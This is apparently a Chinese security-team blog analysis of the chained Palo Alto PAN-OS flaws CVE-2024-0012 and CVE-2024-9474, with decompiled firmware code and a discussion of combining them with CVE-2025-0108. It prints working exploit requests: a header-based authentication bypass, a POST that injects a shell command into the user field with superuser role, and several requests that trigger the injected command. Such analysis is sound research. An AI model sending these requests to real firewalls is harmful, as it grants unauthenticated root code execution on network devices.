从 CVE-2024-0012 到 CVE-2024-9474:Palo Alto 的分析与思考

从 CVE-2024-0012 到 CVE-2024-9474:Palo Alto 的分析与思考

原创 imjdl 源影安全团队 2025-04-24 09:30

引言

本文是一个漏洞分析回顾。2024年,在Palo Alto Networks的防火墙和SSL VPN产品中出现了两个严重的安全漏洞:CVE-2024-0012和CVE-2024-9474。这两个漏洞(身份验证绕过漏洞和权限提升漏洞)可以组合利用,从而实现无需身份验证的远程代码执行。watchtowr对从身份绕过到命令执行的过程提供了精彩的分析。然而,当分析涉及panCreateRemoteAppwebSession函数时,文章未能深入探讨,令人意犹未尽。由于笔者在复现漏洞时未能完全理解命令执行的过程,因此决定”与其求如来,不如自己来”。本文将在watchtowr的分析基础上,简要回顾身份绕过问题,并深入分析命令执行的具体实现,同时结合新发现的认证绕过漏洞CVE-2025-0108,探讨CVE-2025-0108与
CVE-2024-9474组合利用的可能。

漏洞分析

CVE-2024-0012:身份验证绕过

基于watchtowr的分析,我们知道在漏洞修复之前,Palo Alto在处理以.js.map结尾的请求时存在安全隐患:这些请求被认为无需设置X-pan-AuthCheck头进行验证。后续的修复方案是在proxy_default.conf中添加了X-pan-AuthCheck认证要求。

所有经由Nginx的请求都会被转发到本地运行的Apache服务器上(该服务器监听28250端口)进行后续处理。

在php.ini中可以看到配置了auto_prepend_file指令,这个指令会在执行任何PHP脚本之前自动加载uiEnvSetup.php文件以进行环境变量检查。

在uiEnvSetup.php中,系统通过检查三个条件来决定是否对当前请求进行身份验证:
1. 请求头检查
如果请求头HTTP_X_PAN_AUTHCHECK
的值不是’off’
,则需要进行身份验证。

  1. 脚本路径检查
    如果当前脚本路径不是/CA/ocsp
    或/php/login.php
    ,则需要进行身份验证。

  2. 本地请求检查
    如果请求不是来自本地主机(127.0.0.1
    ),则需要进行身份验证。

当以上所有条件都满足时,系统会执行身份验证。如果任何一个条件不满足,则跳过身份验证检查。

因此,只要在 HTTP 请求头中添加 X-PAN-AUTHCHECK: off,攻击者就能绕过身份验证检查,非法访问 PHP 资源。

GET /php/ztp_gate.php/.js.map  HTTP/1.1
Host: 192.168.32.251
X-PAN-AUTHCHECK: off

通过绕过身份验证检查后,攻击者就能访问到关键的PHP文件。在这些文件中,watchtowr团队发现了一个在GlobalProtect客户端中的特权提升漏洞,这个漏洞存在于panCreateRemoteAppwebSession函数中。这个漏洞允许攻击者在目标系统上执行任意命令,从而完成从身份验证绕过到远程代码执行的完整攻击链。

CVE-2024-9474:权限提升

根据watchtowr提供的payload,CVE-2024-9474
的漏洞利用流程非常直接:攻击者通过向createRemoteAppwebSession.php发送POST请求,在user参数中注入payload,在获取sessionid后即可触发payload执行。

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
user=`payload`&userRole=superuser&remoteHost=&vsys=vsys1

在 watchtowr 的分析中,当涉及到 panCreateRemoteAppwebSession 函数时,分析便戛然而止,并未进一步说明 CVE-2024-9474 的具体触发点。在 Attackerkb 对该漏洞的描述中提到了以下内容:

根据 Attackerkb 的分析,当 AuditLog.write 函数被调用时,被篡改的用户名值会传递给 pexecute 调用,这就导致了命令注入。

然而,通过使用pspy进行进程分析时发现,实际执行的命令并不是来自AuditLog.write,而是在configd的子进程(ppid)中执行了payload。这清楚地表明CVE-2024-9474的触发点并不在此处,而是存在于configd相关的进程中。

通过执行命令 find /usr/local/ -type f ! -path “/cgroup/” ! -path “/sys/” ! -path “/tmp/” ! -path “/cache/” ! -path “/logs/” -exec grep -l “export panusername=” {} \; 查找包含命令执行特征的文件,发现该特征存在于 /usr/local/lib64/libpanmp_mp.so.1.0 中的 pan_op_ctxt_get_env 函数。

[root@PA-VM /]# find /usr/local/ -type f ! -path "*/cgroup/*" ! -path "*/sys/*" ! -path "*/tmp/*" ! -path "*/cache/*" ! -path "*/logs/*" -exec grep -l "export panusername=" {} \;
/usr/local/lib64/libpanmp_mp.so.1.0
[root@PA-VM /]# 

pan_mgmtop_handle_script_or_exec 函数首先通过 pan_cfg_get_username_by_cookie 从会话中获取用户名,并将 payload 保存到 local_88 缓冲区。然后,它调用 pan_op_ctxt_get_env 函数来设置命令执行环境,包括配置环境变量和权限。完成环境设置后,系统将用户提供的命令或脚本参数直接拼接到环境命令字符串中。最后,这个完整的命令字符串被传递给 pan_get_system_cmd_output 函数执行,并返回执行结果。

// 获取用户信息
    pan_cfg_get_username_by_cookie(param_10,*(byte **)(lVar8 + 0x58),local_88,0x40);
    iVar2 = pan_cfg_get_adminrole_by_cookie(param_10,*(char **)(lVar8 + 0x58));

    // 处理异步模式
    if (param_17 != 0) {
      lVar8 = xmlHasProp(*(undefined8 *)(*(long *)(param_11 + 8) + 0x10),"async-mode");
      if (lVar8 != 0) {
        lVar8 = xmlGetProp(*(undefined8 *)(*(long *)(param_11 + 8) + 0x10),"jobid");
        if (lVar8 != 0) {
          // 如果有jobid,将其导出到环境变量
          pan_string_buffer_appendf(lVar5,"export jobid=\"%s\";",lVar8);
          (*_xmlFree)(lVar8);
        }
      }
    }

    uVar10 = (ulong)param_17;
    // 获取命令执行环境
    uVar7 = pan_op_ctxt_get_env(param_12,lVar5,local_88,iVar2,param_17);
    pcVar9 = 
    "<response status=\"error\"><msg><line>Unable to construct operational command</line></msg></response>";
    uVar6 = extraout_XMM0_Qa_03;

    if (-1 < (int)uVar7) {
      // 添加用户提供的命令/脚本到缓冲区
      pan_string_buffer_append(lVar5,param_13);

      iVar2 = pan_get_system_cmd_output(*(char **)(lVar5 + 8),lVar4,&local_8a);

pan_get_system_cmd_output 通过调用 pan_get_system_cmd_output_impl,然后使用 linpancommon_map.so 中的 pan_popen_no_stderr 方法内的 execv 来触发 payload。

/**
 * pan_popen_no_stderr - 类似popen函数,执行命令但不处理标准错误输出
 * 创建一个管道并执行指定的命令,允许调用进程读取命令的标准输出
 * @param_1: 要执行的命令路径
 * @param_2: 命令的参数数组
 * @return: 返回指向管道读取端的FILE指针,失败返回NULL
 */
FILE * pan_popen_no_stderr(char *param_1,char **param_2)
{
  int iVar1;               // 存储函数返回值
  __pid_t _Var2;           // 存储子进程PID
  FILE *pFVar3;            // 用于管理子进程的文件结构
  long in_FS_OFFSET;       // 栈保护值
  FILE *local_30;          // 指向管道读取端的FILE指针
  int local_28;            // 管道的读取端文件描述符
  int local_24;            // 管道的写入端文件描述符
  long local_20;           // 栈检查变量

  // 栈保护初始化
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  // 分配一个FILE结构体用于管理子进程
  pFVar3 = (FILE *)malloc(0x18);
  local_30 = pFVar3;
  if (pFVar3 != (FILE *)0x0) {
    // 创建管道
    iVar1 = pipe(&local_28);
    if (iVar1 == 0) {
      // 将管道读取端转换为FILE流
      local_30 = fdopen(local_28,"r");
      if (local_30 == (FILE *)0x0) {
        // 如果转换失败,关闭管道的两端
        close(local_28);
        close(local_24);
      }
      else {
        // 锁定互斥锁避免竞态条件
        pthread_mutex_lock((pthread_mutex_t *)&DAT_009ea140);
        // 创建子进程
        _Var2 = vfork();
        if (_Var2 == 0) {
          // 这是子进程代码
          // 关闭管道读取端
          close(local_28);
          pFVar3 = DAT_009ea120;
          if (local_24 != 1) {
            // 将管道写入端复制到标准输出
            dup2(local_24,1);
            close(local_24);
            pFVar3 = DAT_009ea120;
          }
          // 关闭所有打开的文件描述符
          for (; pFVar3 != (FILE *)0x0; pFVar3 = *(FILE **)pFVar3) {
            iVar1 = fileno((FILE *)pFVar3->_IO_read_ptr);
            close(iVar1);
          }
          // 执行指定的命令 - 这里是执行命令的关键部分
          execv(param_1,param_2);
          // 如果execv返回,表示出错
          _exit(0x7f);
        }
        // 父进程继续执行
        pthread_mutex_unlock((pthread_mutex_t *)&DAT_009ea140);
        // 关闭管道写入端
        close(local_24);
        if (0 < _Var2) {
          // 保存子进程的信息
          *(__pid_t *)&pFVar3->_IO_read_end = _Var2;
          pFVar3->_IO_read_ptr = (char *)local_30;
          pthread_mutex_lock((pthread_mutex_t *)&DAT_009ea140);
          // 将进程添加到进程列表中
          *(FILE **)pFVar3 = DAT_009ea120;
          DAT_009ea120 = pFVar3;
          pthread_mutex_unlock((pthread_mutex_t *)&DAT_009ea140);
          goto LAB_005c4430;
        }
        fclose(local_30);
      }
    }
    free(pFVar3);
    local_30 = (FILE *)0x0;
  }
LAB_005c4430:
  // 栈保护检查
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return local_30;
}

在了解了pay
load的执行点之后,我们先回过头看下漏洞是怎么触发的。我们最终定位到了 PA的show chassis-ready
 命令(部分其它命令也可),该命令用于显示设备的硬件状态,是否准备好处理流量以及是否已加载运行策略(running policy)。执行此命令后 Palo Alto 防火墙会通过多个子进程并行运行 /usr/local/bin/sdb  -n cfgpush.s1.comm.config-exist,检查数据平面配置状态,并将结果转换为 yes 或 no 输出。

随后在PHP代码中,我们找到了htdocs/php/include/Util.php文件中的getDataPlaneStatus方法,该方法在系统中被htdocs/php/include/ContextVariables.php 中的 getVariables调用。

其中runOpCommand 方法是 Palo Alto Networks 防火墙管理界面中用于执行操作命令的核心函数,是与 PAN-OS XML API 通信的关键接口之一。该方法接收两个参数:包含要执行的操作命令的 XML 格式字符串($operation)和可选的额外属性参数($attributes)。

在请求构建流程中,系统会调用 XmlRequest::op($operation, $attributes) 创建完整的 XML 请求。这个请求会被格式化为特定的 XML 结构,并添加会话 cookie 和其他必要的请求属性。

在与管理服务器通信时,请求通过 Backend::getArray() 发送到 PAN-OS 管理服务器。底层实现使用 MSConnection 类,通过 TCP 套接字(默认端口 10000)与本地管理服务器进行通信。MSConnection 负责建立连接、发送请求头和有效载荷,以及接收和处理响应。

因此,我们可以通过定位调用 ContextVariables::getVariables() 的位置来快速尝试触发漏洞。

例如,以下请求可以触发这个漏洞:

GET /php/device/export.file.php?type=techsupport HTTP/1.1
Host: 192.168.32.251
cookie: PHPSESSID=9f56ts27jh56hh8pgrl3nhkmkq;

与此类似,index.php中触发漏洞的原理也是相同的,index.php中的Page::printDynamicContext()方法调用了ContextVariables::getVariables()。我们可以通过寻找Page::printDynamicContext()的其他调用位置,发现更多可能触发漏洞的入口点。

例如,以下请求可以触发此漏洞:

GET /unauth/php/change_password.php HTTP/1.1
Host: 192.168.32.251
cookie: PHPSESSID=9f56ts27jh56hh8pgrl3nhkmkq;

由于configd以root权限运行,当通过低权限nginx进行权限绕过后,在configd中触发了payload后,达到了权限提升的效果。

思考:与CVE-2025-0108结合利用?

在CVE-2025-0108公布后,我花了很长时间思考它是否能与CVE-2024-9474结合利用。然而,这个尝试自然以失败告终。

在之前的分析中并没有对 panCreateRemoteAppwebSession 进行过多的描述,其实这个函数主要用来创建一个 session,也是我们能够写入 payload 的关键。

在PHP源码中无法找到panCreateRemoteAppwebSession
的定义,该函数实际定义于panhttpdmodule.so模块中。

该函数首先通过 pan_php_SERVER_get_str 函数获取发起请求的远程主机地址(
REMOTE_HOST),然后检查该地址是否为受信任的本地环回地址。它会依次验证远程地址是否匹配以下任一本地环回地址:”127.0.0.1″(IPv4本地环回)、”::1″(IPv6简写形式)或”0:0:0:0:0:0:0:1″(IPv6完
整形式)。如果远程地址与这些本地环回地址均不匹配,程序将执行额外的验证逻辑。

由于篇幅的限制并且也有很多很精彩的文章对 CVE-2025-0108 进行了分析,这里不再过多赘述。根据nginx的配置发现,在proxy_default.conf中设置了X-Forwarded-For,在”
location /”块中加载了
proxy_default.conf。

我们知道当客户端请求到达 Nginx 时,Nginx 会检查请求中是否包含 X-Forwarded-For 头。如果请求已包含此头部,$proxy_add_x_forwarded_for 会将客户端的实际 IP 地址追加到现有值后面,格式为:原始X-Forwarded-For值, $remote_addr。如果请求不包含 X-Forwarded-For 头,则 $proxy_add_x_forwarded_for 的值将直接等于 $remote_addr(客户端的 IP 地址)。

所以即使我们能够通过CVE-2025-0108实现认证绕过,但由于Nginx的严格头部处理和转发机制,难以直接操纵内部服务认为请求来自127.0.0.1。这使得将两个漏洞直接组合利用还是很难的。

然而,Palo Alto 在关于 CVE-2025-0108 的公告中指出:”Palo Alto Networks 发现攻击者正在尝试将 CVE-2025-0108、CVE-2024-9474 和 CVE-2025-0111 进行链式攻击,目标是那些未打补丁且未受保护的 PAN-OS Web 管理界面。”

还有一个素未谋面的CVE-2025-0111认证后的文件读取漏洞,这个文件读取漏洞,或许是打开潘多拉魔盒的最后一把钥匙。

总结

本文深入分析了 Palo Alto Networks 防火墙和 SSL VPN 产品中的几个重要安全漏洞。首先探讨了 CVE-2024-0012 身份验证绕过漏洞,该漏洞存在于处理 .js.map 结尾请求的认证机制中。随后详细分析了 CVE-2024-9474 权限提升漏洞,特别是其中涉及的 panCreateRemoteAppwebSession 函数的实现细节和漏洞触发机制。

研究发现,通过 “show chassis-ready” 等命令,可以触发漏洞利用链。这个过程涉及多个组件的交互,包括 Nginx、Apache 和内部管理服务器。文章还探讨了漏洞的具体触发点,包括 export.file.php 和 change_password.php 等多个入口点。

在尝试将新发现的 CVE-2025-0108 与 CVE-2024-9474 组合利用时,发现由于 Nginx 的严格头部处理机制,直接组合利用存在困难。然而,Palo Alto 的最新安全公告提到攻击者正在尝试将 CVE-2025-0108、CVE-2024-9474 和 CVE-2025-0111 进行链式攻击,这提示了可能存在更复杂的利用链。

参考

  • https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

  • http://php.net/auto-prepend-file

  • https://attackerkb.com/topics/n8GmwEZA1k/cve-2024-9474

  • https://security.paloaltonetworks.com/CVE-2025-0111

  • https://security.paloaltonetworks.com/CVE-2025-0108

  • https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/

  • Nginx/Apache Path Confusion to Auth Bypass in PAN-OS (CVE-2025-0108)

  • https://nginx.org/en/docs/http/ngx_http_proxy_module.html